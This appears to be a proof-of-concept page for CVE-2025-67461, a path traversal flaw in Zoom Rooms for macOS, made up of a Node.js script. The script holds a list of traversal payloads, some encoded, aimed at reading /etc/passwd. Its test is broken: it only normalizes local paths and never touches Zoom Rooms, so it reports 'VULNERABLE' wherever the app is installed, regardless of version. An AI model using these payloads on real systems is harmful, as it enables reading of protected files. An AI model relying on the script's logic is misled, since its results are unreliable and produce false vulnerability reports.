CVE-2025-67461: Zoom Rooms for macOS 路径遍历导致信息泄露漏洞

// CVE-2025-67461 PoC - Zoom Rooms for macOS Path Traversal Information Disclosure // This PoC demonstrates the path traversal vulnerability in Zoom Rooms for macOS // Note: This is a conceptual PoC for educational purposes only const fs = require('fs'); const path = require('path'); // Target: Zoom Rooms for macOS before 6.6.0 const ZOOM_ROOMS_PATH = '/Applications/ZoomRooms.app/'; // Path traversal payloads to test const payloads = [ '../../../../etc/passwd', '../../../../Users/Shared/ZoomRooms/config/../../../../../etc/passwd', '..\\..\\..\\..\\etc\\passwd', '%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', '..%252f..%252f..%252f..%252fetc%252fpasswd', '%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afpasswd' ]; // Check if Zoom Rooms is installed function checkZoomRoomsInstalled() { try { return fs.existsSync(ZOOM_ROOMS_PATH); } catch (error) { console.error('Error checking Zoom Rooms installation:', error.message); return false; } } // Test path traversal vulnerability async function testPathTraversal() { if (!checkZoomRoomsInstalled()) { console.log('Zoom Rooms not found on this system'); return; } console.log('Testing CVE-2025-67461 Path Traversal vulnerability...'); console.log('Target: Zoom Rooms for macOS < 6.6.0'); console.log('Vulnerability: External control of file name or path'); for (const payload of payloads) { try { // Attempt to access files using path traversal const targetPath = path.join(ZOOM_ROOMS_PATH, payload); const normalizedPath = path.normalize(targetPath); if (normalizedPath.startsWith(ZOOM_ROOMS_PATH)) { console.log(`[SAFE] Path normalized and within ZoomRooms directory`); } else { console.log(`[VULNERABLE] Path traversal detected: ${payload}`); console.log(`[VULNERABLE] Resolved path: ${normalizedPath}`); } } catch (error) { console.log(`Error testing payload ${payload}: ${error.message}`); } } console.log('\nRecommended action: Upgrade to Zoom Rooms for macOS 6.6.0 or later'); } // Execute PoC testPathTraversal();